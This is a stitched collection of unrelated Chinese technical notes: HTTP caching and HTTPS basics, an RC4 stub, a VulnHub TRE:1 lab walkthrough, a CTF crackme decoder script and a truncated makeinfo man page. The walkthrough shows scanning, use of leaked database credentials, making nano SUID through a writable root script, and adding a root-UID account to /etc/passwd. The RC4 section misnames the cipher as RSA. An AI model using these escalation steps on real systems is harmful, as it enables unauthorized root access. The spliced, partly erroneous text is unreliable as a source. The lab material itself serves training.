Session 选择 - Cookie 只能存储 ASCII 码字符串,而 Session 则可以存储任何类型的数据,因此在考虑数据复杂性时首选 Session; - Cookie 存储在浏览器中,容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中,可以将 Cookie 值进行加密,然后在服务器进行解密; - 对于大型网站,如果用户所有的信息都存储在 Session 中,那么开销是非常大的,因此不建议将所有的用户信息都存储到 Session 中。 ### 缓存 #### 1. 优点 - 缓解服务器压力; - 降低客户端获取资源的延迟:缓存通常位于内存中,读取缓存的速度更快。并且缓存服务器在地理位置上也有可能比源服务器来得近,例如浏览器缓存。 #### 2. 实现方法 - 让代理服务器进行缓存; - 让客户端浏览器进行缓存。 #### 3. Cache-Control HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。 **3.1 禁止进行缓存** no-store 指令规定不能对请求或响应的任何一部分进行缓存。 ```html Cache-Control: no-store ``` **3.2 强制确认缓存** no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性,只有当缓存资源有效时才能使用该缓存对客户端的请求进行响应。 ```html Cache-Control: no-cache ``` **3.3 私有缓存和公共缓存** private 指令规定了将资源作为私有缓存,只能被单独用户使用,一般存储在用户浏览器中。 ```html Cache-Control: private ``` public 指令规定了将资源作为公共缓存,可以被多个用户使用,一般存储在代理服务器中。 ```html Cache-Control: public ``` **3.4 缓存过期机制** max-age 指令出现在请求报文,并且缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。 max-age 指令出现在响应报文,表示缓存资源在缓存服务器中保存的时间。 ```html Cache-Control: max-age=31536000 ``` Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。 ```html Expires: Wed, 04 Jul 2012 08:26:05 GMT ``` - 在 HTTP/1.1 中,会优先处理 max-age 指令; - 在 HTTP/1.0 中,max-age 指令会被忽略掉。 #### 4. 缓存验证 需要先了解 ETag 首部字段的含义,它是资源的唯一标识。URL 不能唯一表示资源,例如 `http://www.google.com/` 有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一标识。 ```html ETag: "82e22293907ce725faf67773957acd12" ``` 可以将缓存资源的 ETag 值放入 If-None-Match 首部,服务器收到该请求后,判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致,如果一致则表示缓存资源有效,返回 304 Not Modified。 ```html If-None-Match: "82e22293907ce725faf67773957acd12" ``` Last-Modified 首部字段也可以用于缓存验证,它包含在源服务器发送的响应报文中,指示源服务器对资源的最后修改时间。但是它是一种弱校验器,因为只能精确到一秒,所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 200 OK。如果请求的资源从那时起未经修改,那么返回一个不带有实体主体的 304 Not Modified 响应报文。 ```html Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT ``` ```html If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT ``` ### 内容协商 通过内容协商返回最合适的内容,例如根据浏览器的默认语言选择返回中文界面还是英文界面。 #### 1. 类型 **1.1 服务端驱动型** 客户端设置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language,服务器根据这些字段返回特定的资源。 它存在以下问题: - 服务器很难知道客户端浏览器的全部信息; - 客户端提供的信息相当冗长(HTTP/2 协议的首部压缩机制缓解了这个问题),并且存在隐私风险(HTTP 指纹识别技术); - 给定的资源需要返回不同的展现形式,共享缓存的效率会降低,而服务器端的实现会越来越复杂。 **1.2 代理驱动型** 服务器返回 300 Multiple Choices 或者 406 Not Acceptable,客户端从中选出最合适的那个资源。 #### 2. Vary ```html Vary: Accept-Language ``` 在使用内容协商的情况下,只有当缓存服务器中的缓存满足内容协商条件时,才能使用该缓存,否则应该向源服务器请求该资源。 例如,一个客户端发送了一个包含 Accept-Language 首部字段的请求之后,源服务器返回的响应包含 `Vary: Accept-Language` 内容,缓存服务器对这个响应进行缓存之后,在客户端下一次访问同一个 URL 资源,并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。 ### 内容编码 内容编码将实体主体进行压缩,从而减少传输的数据量。 常用的内容编码有:gzip、compress、deflate、identity。 浏览器发送 Accept-Encoding 首部,其中包含有它所支持的压缩算法,以及各自的优先级。服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,响应报文的 Vary 首部字段至少要包含 Content-Encoding。 ### 范围请求 如果网络出现中断,服务器只发送了一部分数据,范围请求可以使得客户端只请求服务器未发送的那部分数据,从而避免服务器重新发送所有数据。 #### 1. Range 在请求报文中添加 Range 首部字段指定请求的范围。 ```html GET /z4d4kWk.jpg HTTP/1.1 Host: i.imgur.com Range: bytes=0-1023 ``` 请求成功的话服务器返回的响应包含 206 Partial Content 状态码。 ```html HTTP/1.1 206 Partial Content Content-Range: bytes 0-1023/146515 Content-Length: 1024 ... (binary content) ``` #### 2. Accept-Ranges 响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求,可以处理使用 bytes,否则使用 none。 ```html Accept-Ranges: bytes ``` #### 3. 响应状态码 - 在请求成功的情况下,服务器会返回 206 Partial Content 状态码。 - 在请求的范围越界的情况下,服务器会返回 416 Requested Range Not Satisfiable 状态码。 - 在不支持范围请求的情况下,服务器会返回 200 OK 状态码。 ### 分块传输编码 Chunked Transfer Encoding,可以把数据分割成多块,让浏览器逐步显示页面。 ### 多部分对象集合 一份报文主体内可含有多种类型的实体同时发送,每个部分之间用 boundary 字段定义的分隔符进行分隔,每个部分都可以有首部字段。 例如,上传多个表单时可以使用如下方式: ```html Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name="submit-name" Larry --AaB03x Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x-- ``` ### 虚拟主机 HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。 ### 通信数据转发 #### 1. 代理 代理服务器接受客户端的请求,并且转发给其它服务器。 使用代理的主要目的是: - 缓存 - 负载均衡 - 网络访问控制 - 访问日志记录 代理服务器分为正向代理和反向代理两种: - 用户察觉得到正向代理的存在。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br> - 而反向代理一般位于内部网络中,用户察觉不到。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br> #### 2. 网关 与代理服务器不同的是,网关服务器会将 HTTP 转化为其它协议进行通信,从而请求其它非 HTTP 服务器的服务。 #### 3. 隧道 使用 SSL 等加密手段,在客户端和服务器之间建立一条安全的通信线路。 ## 六、HTTPS HTTP 有以下安全性问题: - 使用明文进行通信,内容可能会被窃听; - 不验证通信方的身份,通信方的身份有可能遭遇伪装; - 无法证明报文的完整性,报文有可能遭篡改。 HTTPS 并不是新协议,而是让 HTTP 先和 SSL(Secure Sockets Layer)通信,再由 SSL 和 TCP 通信,也就是说 HTTPS 使用了隧道进行通信。 通过使用 SSL,HTTPS 具有了加密(防窃听)、认证(防伪装)和完整性保护(防篡改)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ssl-offloading.jpg" width="700"/> </div><br> ### 加密 #### 1. 对称密钥加密 对称密钥加密(Symmetric-Key Encryption),加密和解密使用同一密钥。 - 优点:运算速度快; - 缺点:无法安全地将密钥传输给通信方。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br> #### 2.非对称密钥加密 非对称密钥加密,又称公开密钥加密(Public-Key Encryption),加密和解密使用不同的密钥。 公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。 非对称密钥除了用来加密,还可以用来进行签名。因为私有密钥无法被其他人获取,因此通信发送方使用其私有密钥进行签名,通信接收方使用发送方的公开密钥对签名进行解密,就能判断这个签名是否正确。 - 优点:可以更安全地将公开密钥传输给通信发送方; - 缺点:运算速度慢。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br> #### 3. HTTPS 采用的加密方式 上面提到对称密钥加密方式的传输效率更高,但是无法安全地将密钥 Secret Key 传输给通信方。而非对称密钥加密方式可以保证传输的安全性,因此我们可以利用非对称密钥加密方式将 Secret Key 传输给通信方。HTTPS 采用混合的加密机制,正是利用了上面提到的方案: - 使用非对称密钥加密方式,传输对称密钥加密方式所需要的 Secret Key,从而保证安全性; - 获取到 Secret Key 后,再使用对称密钥加密方式进行通信,从而保证效率。(下图中的 Session Key 就是 Secret Key) <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/How-HTTPS-Works.png" width="600"/> </div><br> ### 认证 通过使用 **证书** 来对通信方进行认证。 数字证书认证机构(CA,Certificate Authority)是客户端与服务器双方都可信赖的第三方机构。 服务器的运营人员向 CA 提出公开密钥的申请,CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。 进行 HTTPS 通信时,服务器会把证书发送给客户端。客户端取得其中的公开密钥之后,先使用数字签名进行验证,如果验证通过,就可以开始通信了。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2017-06-11-ca.png" width=""/> </div><br> ### 完整性保护 SSL 提供报文摘要功能来进行完整性保护。 HTTP 也提供了 MD5 报文摘要功能,但不是安全的。例如报文内容被篡改之后,同时重新计算 MD5 的值,通信接收方是无法意识到发生了篡改。 HTTPS 的报文摘要功能之所以安全,是因为它结合了加密和认证这两个操作。试想一下,加密之后的报文,遭到篡改之后,也很难重新计算报文摘要,因为无法轻易获取明文。 ### HTTPS 的缺点 - 因为需要进行加密解密等过程,因此速度会更慢; - 需要支付证书授权的高额费用。 ## 七、HTTP/2.0 ### HTTP/1.x 缺陷 HTTP/1.x 实现简单是以牺牲性能为代价的: - 客户端需要使用多个连接才能实现并发和缩短延迟; - 不会压缩请求和响应首部,从而导致不必要的网络流量; - 不支持有效的资源优先级,致使底层 TCP 连接的利用率低下。 ### 二进制分帧层 HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧,它们都是二进制格式的。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br> 在通信过程中,只会有一个 TCP 连接存在,它承载了任意数量的双向数据流(Stream)。 - 一个数据流(Stream)都有一个唯一标识符和可选的优先级信息,用于承载双向信息。 - 消息(Message)是与逻辑请求或响应对应的完整的一系列帧。 - 帧(Frame)是最小的通信单位,来自不同数据流的帧可以交错发送,然后再根据每个帧头的数据流标识符重新组装。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br> ### 服务端推送 HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 page.html 页面,服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br> ### 首部压缩 HTTP/1.1 的首部带有大量信息,而且每次都要重复发送。 HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表,从而避免了重复传输。 不仅如此,HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/_u4E0B_u8F7D.png" width="600"/> </div><br> ## 八、HTTP/1.1 新特性 详细内容请见上文 - 默认是长连接 - 支持流水线 - 支持同时打开多个 TCP 连接 - 支持虚拟主机 - 新增状态码 100 - 支持分块传输编码 - 新增缓存处理指令 max-age ## 九、GET 和 POST 比较 ### 作用 GET 用于获取资源,而 POST 用于传输实体主体。 ### 参数 GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高,因为照样可以通过一些抓包工具(Fiddler)查看。 因为 URL 只支持 ASCII 码,因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`,而空格会转换为 `%20`。POST 参数支持标准字符集。 ``` GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1 ``` ``` POST /test/demo_form.asp HTTP/1.1 Host: w3schools.com name1=value1&name2=value2 ``` ### 安全 安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。 GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。 安全的方法除了 GET 之外还有:HEAD、OPTIONS。 不安全的方法除了 POST 之外还有 PUT、DELETE。 ### 幂等性 幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。 所有的安全方法也都是幂等的。 在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。 GET /pageX HTTP/1.1 是幂等的,连续调用多次,客户端接收到的结果都是一样的: ``` GET /pageX HTTP/1.1 GET /pageX HTTP/1.1 GET /pageX HTTP/1.1 GET /pageX HTTP/1.1 ``` POST /add_row HTTP/1.1 不是幂等的,如果调用多次,就会增加多行记录: ``` POST /add_row HTTP/1.1 -> Adds a 1nd row POST /add_row HTTP/1.1 -> Adds a 2nd row POST /add_row HTTP/1.1 -> Adds a 3rd row ``` DELETE /idX/delete HTTP/1.1 是幂等的,即使不同的请求接收到的状态码不一样: ``` DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted DELETE /idX/delete HTTP/1.1 -> Returns 404 ``` ### 可缓存 如果要对响应进行缓存,需要满足以下条件: - 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD,但是 PUT 和 DELETE 不可缓存,POST 在多数情况下不可缓存的。 - 响应报文的状态码是可缓存的,包括:200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。 - 响应报文的 Cache-Control 首部字段没有指定不进行缓存。 ### XMLHttpRequest 为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest: > XMLHttpRequest 是一个 API,它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式,并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。 - 在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做,例如火狐就不会。 - 而 GET 方法 Header 和 Data 会一起发送。 ## 参考资料 - 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014. - [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP) - [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn) - [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php) - [Difference between file URI and URL in java](http://java2db.com/java-io/how-to-get-and-the-difference-between-file-uri-and-url-in-java) - [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement) - [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html) - [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/) - [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html) - [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/) - [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg) - [Proxy server](https://en.wikipedia.org/wiki/Proxy_server) - [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html) - [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/) - [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html) - [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication) - [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/) - [Cookie 与 Session 的区别](https://juejin.im/entry/5766c29d6be3ff006a31b84e#comment) - [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827) - [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html) - [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/) - [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn) - [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest) - [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/) - [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences) - [Web 性能优化与 HTTP/2](https://www.kancloud.cn/digest/web-performance-http2) - [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
sec-knowleage
# RC4 ## 基本介绍 RSA 由 Ron Rivest 设计,最初隶属于 RSA 安全公司,是一个专利密码产品。它是面向字节的流密码,密钥长度可变,非常简单,但也很有效果。RC4 算法广泛应用于 SSL/TLS 协议和 WEP/WPA 协议。 ## 基本流程 RC4 主要包含三个流程 - 初始化 S 和 T 数组。 - 初始化置换 S。 - 生成密钥流。 ### 初始化 S 和 T 数组 初始化 S 和 T 的代码如下 ```c for i = 0 to 255 do S[i] = i T[i] = K[i mod keylen]) ``` ### 初始化置换 S ```c j = 0 for i = 0 to 255 do j = (j + S[i] + T[i]) (mod 256) swap (S[i], S[j]) ``` ### 生成流密钥 ```c i = j = 0 for each message byte b i = (i + 1) (mod 256) j = (j + S[i]) (mod 256) swap(S[i], S[j]) t = (S[i] + S[j]) (mod 256) print S[t] ``` 我们一般称前两部分为 KSA ,最后一部分是 PRGA。 ## 攻击方法 待补充。
sec-knowleage
# TRE: 1 > https://download.vulnhub.com/tre/Tre.zip 靶场IP:`192.168.2.132` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p1-65535 -sV 192.168.2.132 Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-04 05:54 EDT Nmap scan report for 192.168.2.132 Host is up (0.00080s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 8082/tcp open http nginx 1.14.2 MAC Address: 00:0C:29:DD:27:3B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds ``` 访问80端口 ![image-20220904175454146](../../.gitbook/assets/image-20220904175454146.png) 访问8082端口,也是相同页面 ![image-20220904175517667](../../.gitbook/assets/image-20220904175517667.png) 爆破web目录 ``` ┌──(root💀kali)-[~] └─# dirb http://192.168.2.132 /usr/share/wordlists/dirb/big.txt ``` 找到一个config目录 ![image-20220904181019553](../../.gitbook/assets/image-20220904181019553.png) 发现MySQL密码 ``` $g_hostname = 'localhost'; $g_db_username = 'mantissuser'; $g_db_password = 'password@123AS'; $g_database_name = 'mantis'; $g_db_type = 'mysqli'; ``` ![image-20220904181042122](../../.gitbook/assets/image-20220904181042122.png) 找到一个路径:`/adminer.php` ``` ┌──(root💀kali)-[~] └─# gobuster dir --url http://192.168.2.132/ -w /usr/share/wordlists/dirb/big.txt -x .php ``` ![image-20220904181227411](../../.gitbook/assets/image-20220904181227411.png) ![image-20220904181349771](../../.gitbook/assets/image-20220904181349771.png) 使用 MySQL 数据库登录后,我们寻找任何有用的信息,我们发现该表中有一个 `mantis_user_table`,其中包含用户名和密码。 ![image-20220904181440809](../../.gitbook/assets/image-20220904181440809.png) 使用tre账号连接SSH。 ![image-20220904181523329](../../.gitbook/assets/image-20220904181523329.png) 使用linEnum找到`check-system`文件 ``` tre@tre:/tmp$ cat /usr/bin/check-system DATE=`date '+%Y-%m-%d %H:%M:%S'` echo "Service started at ${DATE}" | systemd-cat -p info while : do echo "Checking..."; sleep 1; done ``` > 使用`pspy64`监控运行文件 > > ![image-20220904183950391](../../.gitbook/assets/image-20220904183950391.png) 由于上述文件作为用户具有读写权限,因此使用 nano 编辑器编辑了该文件。并赋予 nano 文件的 SUID 权限,但 `/usr/bin/check-system` 将在系统重新启动时更新更改。 ``` chmod +s /usr/bin/nano ``` ![image-20220904183015918](../../.gitbook/assets/image-20220904183015918.png) 这里 -r 标志用于重新启动主机系统。再次检查 nano 文件系统的权限,并注意现在启用了 SUID 权限 ``` sudo shutdown -r now ``` ``` tre@tre:~$ ls -al /usr/bin/nano -rwsr-sr-x 1 root root 246160 Jun 11 2019 /usr/bin/nano tre@tre:~$ ``` 现在我可以尝试修改 passwd 文件以进行权限提升 ``` tre@tre:~$ openssl passwd -1 -salt user3 pass123 $1$user3$rAGRVf5p2jYTqtqOW5cPu/ ``` ``` tre@tre:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin tre:x:1000:1000:tre,,,:/home/tre:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false hack:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0::/root:/bin/bash ``` ``` su hack ``` ![image-20230208160839828](../../.gitbook/assets/image-20230208160839828.png)
sec-knowleage
s = """ 2004 ES = 03741 : EE = 04981 : EK = 148 2004 ES = 05363 : EE = 06632 : EK = 152 2004 ES = 07014 : EE = 08219 : EK = 165 2004 ES = 08601 : EE = 09868 : EK = 184 2004 ES = 10250 : EE = 11483 : EK = 199 2004 ES = 11865 : EE = 13107 : EK = 240 2004 ES = 13489 : EE = 14760 : EK = 249 2004 ES = 15142 : EE = 16351 : EK = 132 2004 ES = 16733 : EE = 17975 : EK = 186 2004 ES = 18360 : EE = 19633 : EK = 214 2004 ES = 20020 : EE = 21265 : EK = 245 2004 ES = 21652 : EE = 22923 : EK = 203 2004 ES = 23310 : EE = 24584 : EK = 223 2004 ES = 24971 : EE = 26178 : EK = 237 2004 ES = 26565 : EE = 27837 : EK = 192 2004 ES = 28224 : EE = 29471 : EK = 157 2004 ES = 29858 : EE = 31101 : EK = 158 2004 ES = 31488 : EE = 32761 : EK = 235 2004 ES = 33148 : EE = 34367 : EK = 143 """ # 2005 FOR I = ES TO EE : K = ( PEEK (I) + EK ) AND 255 : POKE I, K : NEXT I f = open("crackme.prg", "rb").read() for line in s.splitlines()[1:]: s = line.split() es = int(s[3]) ee = int(s[7]) ek = int(s[11]) es -= 0x800 - 1 ee -= 0x800 - 2 def dec(s, n): return "".join(chr((ord(c) + n)&0xff) for c in s) f = f[:es] + dec(f[es:ee], ek) + f[ee:] open("new.prg", "wb").write(f)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.29. .TH MAKEINFO "1" "June 2003" "makeinfo 4.6" "User Commands" .SH NAME makeinfo \- 翻译 Texinfo 文档 .SH "SYNOPSIS 总览" .B makeinfo [\fIOPTION\fR]... \fITEXINFO-FILE\fR... .SH "DESCRIPTION 描述" 将 Texinfo 源文档翻译为各种其他格式,默认是可以用 Emacs 或者独立的 GNU Info 查看的,适于在线阅读的 Info 文件。 .SS "通用选项:" .TP \fB\-\-error\-limit\fR=\fINUM\fR 在遇到 NUM 个错误后退出。默认是 100。 .TP \fB\-\-force\fR 即使发生错误也保留输出内容。 .TP \fB\-\-help\fR 显示这份帮助,然后退出。 .TP \fB\-\-no\-validate\fR 不进行节点交叉引用的验证。 .TP \fB\-\-no\-warn\fR 阻止提示警告 (但是不阻止提示错误)。 .TP \fB\-\-reference\-limit\fR=\fINUM\fR 警告达到了引用的最大数量 NUM (默认是 1000)。 .TP \fB\-v\fR, \fB\-\-verbose\fR 解释正在做什么。 .TP \fB\-\-version\fR 显示版本信息,然后退出。 .SS "输出格式选择 (默认产生 Info):" .TP \fB\-\-docbook\fR 输出 DocBook XML 而不是 Info。 .TP \fB\-\-html\fR 输出 HTML 而不是 Info。 .TP \fB\-\-xml\fR 输出 Texinfo XML 而不是 Info。 .SS "通用输出选项:" .TP \fB\-E\fR, \fB\-\-macro\-expand\fR FILE 输出扩展了宏的源文件,保存到 FILE。忽略任何 @setfilename。 .TP \fB\-\-no\-headers\fR 从 Info 输出中去除节点分隔符,Node:lines 和菜单 (以产生普通文本),或者从 HTML 输出中去除它们 (以产生短一些的文本);同时,默认输出到标准输出。 .TP \fB\-\-no\-split\fR 阻止拆分 Info 或 HTML 输出,只产生单一的输出文件。 .TP \fB\-\-number\-sections\fR 输出章节和段落号。 .TP \fB\-o\fR, \fB\-\-output\fR=\fIFILE\fR 输出到文件 FILE (如果拆分 HTML 的话,就表示目录 FILE)。 .SS "用于 Info 和普通文本的选项:" .TP \fB\-\-enable\-encoding\fR 根据 @documentencoding,在 Info 输出中输出着重符号和特殊字符。 .TP \fB\-\-fill\-column\fR=\fINUM\fR 输出 NUM 个字符之后分行。默认是 72。 .TP \fB\-\-footnote\-style\fR=\fISTYLE\fR 根据 STYLE,在 Info 中输出脚注: `separate' 将把它们放在它们自己的节点中; `end' 将把它们放在定义它们的节点 .IP 的末尾。 .TP \fB\-\-paragraph\-indent\fR=\fIVAL\fR 缩进 Info 段落 VAL 个空格,默认是 3。如果 VAL 是 `none',不进行缩进;如果 VAL 是 `asis',将维持已有的缩进。 .TP \fB\-\-split\-size\fR=\fINUM\fR 输出 NUM 个字符后拆分新的文件。默认是 300000。 .SS "用于 HTML 的选项:" .TP \fB\-\-css\-include\fR=\fIFILE\fR 在输出的 HTML <style> 标签中包含 FILE 的内容;如果 FILE 是 `\-' 就从标准输入读取。 .SS "输入文件选项:" .TP \fB\-\-commands\-in\-node\-names\fR 允许在节点名称中出现 @ 命令。 .TP \fB\-D\fR VAR 定义变量 VAR,如同使用了 @set。 .TP \fB\-I\fR DIR 将 DIR 添加到 @include 搜索路径中。 .TP \fB\-P\fR DIR 将 DIR 添加到 @include 搜索路径之前。 .TP \fB\-U\fR VAR 取消变量 VAR 的定义,如同使用了 @clear。 .SS "在输入中使用条件处理:" .TP \fB\-\-ifhtml\fR 处理 @ifhtml 和 @html,即使不是在生成 HTML。 .TP \fB\-\-ifinfo\fR 处理 @ifinfo,即使不是在生成 Info。 .TP \fB\-\-ifplaintext\fR 处理 @ifplaintext,即使不是在生成普通文本。 .TP \fB\-\-iftex\fR 处理 @iftex 和 @tex;隐含了 \fB\-\-no\-split\fR。 .TP \fB\-\-ifxml\fR 处理 @ifxml 和 @xml。 .TP \fB\-\-no\-ifhtml\fR 不处理 @ifhtml 和 @html 文本。 .TP \fB\-\-no\-ifinfo\fR 不处理 @ifinfo 文本。 .TP \fB\-\-no\-ifplaintext\fR 不处理 @ifplaintext 文本。 .TP \fB\-\-no\-iftex\fR 不处理 @iftex 和 @tex 文本。 .TP \fB\-\-no\-ifxml\fR 不处理 @ifxml 和 @xml 文本。 .IP @if... 条件语句的默认处理方法取决于输出格式: 如果在生成 HTML,\fB\-\-ifhtml\fR 